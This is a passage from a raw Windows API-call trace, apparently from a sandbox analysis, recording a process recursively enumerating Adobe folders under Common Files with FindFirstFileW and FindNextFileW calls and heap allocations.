nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.530] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 1 [0265.530] GetProcessHeap () returned 0xc10000 [0265.530] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0265.531] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0265.576] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.576] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde812478, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x751f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.dll", cAlternateFileName="")) returned 1 [0265.576] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde8f7271, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7e1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF64.dll", cAlternateFileName="ACROPD~3.DLL")) returned 1 [0265.577] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde85e91b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xafdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDFImpl.dll", cAlternateFileName="ACROPD~1.DLL")) returned 1 [0265.577] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde884b66, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1097f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDFImpl64.dll", cAlternateFileName="ACROPD~2.DLL")) returned 1 [0265.577] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde884b66, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1097f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDFImpl64.dll", cAlternateFileName="ACROPD~2.DLL")) returned 0 [0265.577] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0265.578] GetProcessHeap () returned 0xc10000 [0265.578] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0265.578] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 0 [0265.578] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0265.578] GetProcessHeap () returned 0xc10000 [0265.578] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0265.578] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0265.579] GetProcessHeap () returned 0xc10000 [0265.579] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0265.579] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0265.580] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.580] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0265.580] GetProcessHeap () returned 0xc10000 [0265.580] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0265.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0265.582] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.583] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd8a600, ftCreationTime.dwHighDateTime=0x1d3377b, ftLastAccessTime.dwLowDateTime=0xb352d8c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2bd8a600, ftLastWriteTime.dwHighDateTime=0x1d3377b, nFileSizeHigh=0x0, nFileSizeLow=0x11e018, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeARM.exe", cAlternateFileName="")) returned 1 [0265.583] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd8a600, ftCreationTime.dwHighDateTime=0x1d3377b, ftLastAccessTime.dwLowDateTime=0xb352d8c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2bd8a600, ftLastWriteTime.dwHighDateTime=0x1d3377b, nFileSizeHigh=0x0, nFileSizeLow=0x67628, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeARMHelper.exe", cAlternateFileName="ADOBEA~1.EXE")) returned 1 [0265.583] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd8a600, ftCreationTime.dwHighDateTime=0x1d3377b, ftLastAccessTime.dwLowDateTime=0xb378ff7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2bd8a600, ftLastWriteTime.dwHighDateTime=0x1d3377b, nFileSizeHigh=0x0, nFileSizeLow=0x14810, dwReserved0=0x0, dwReserved1=0x0, cFileName="armsvc.exe", cAlternateFileName="")) returned 1 [0265.583] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0265.583] GetProcessHeap () returned 0xc10000 [0265.583] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0265.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\Cache\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0265.594] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.594] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910cfa2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x910cfa2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x910cfa2, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0xd6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Arm_001824245926_1644620493770141623153545149044142307.msi", cAlternateFileName="ARM_00~1.MSI")) returned 1 [0265.595] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910cfa2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x910cfa2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x910cfa2, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0xd6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Arm_001824245926_1644620493770141623153545149044142307.msi", cAlternateFileName="ARM_00~1.MSI")) returned 0 [0265.595] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0265.595] GetProcessHeap () returned 0xc10000 [0265.595] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0265.595] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 0 [0265.595] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0265.595] GetProcessHeap () returned 0xc10000 [0265.595] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0265.595] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0265.595] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0265.596] GetProcessHeap () returned 0xc10000 [0265.596] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0265.597] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 1 [0265.597] GetProcessHeap () returned 0xc10000 [0265.597] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0265.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0265.599] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.599] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0265.600] GetProcessHeap () returned 0xc10000 [0265.600] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0265.600] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0265.601] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.601] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_DC.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0265.601] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_DC.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0265.601] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0265.601] GetProcessHeap () returned 0xc10000 [0265.601] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0265.601] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0265.601] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0265.601] GetProcessHeap () returned 0xc10000 [0265.601] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0265.601] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1 [0265.601] GetProcessHeap () returned 0xc10000 [0265.601] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0265.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0265.603] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.603] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0265.603] GetProcessHeap () returned 0xc10000 [0265.603] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0265.603] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0265.604] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.604] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, 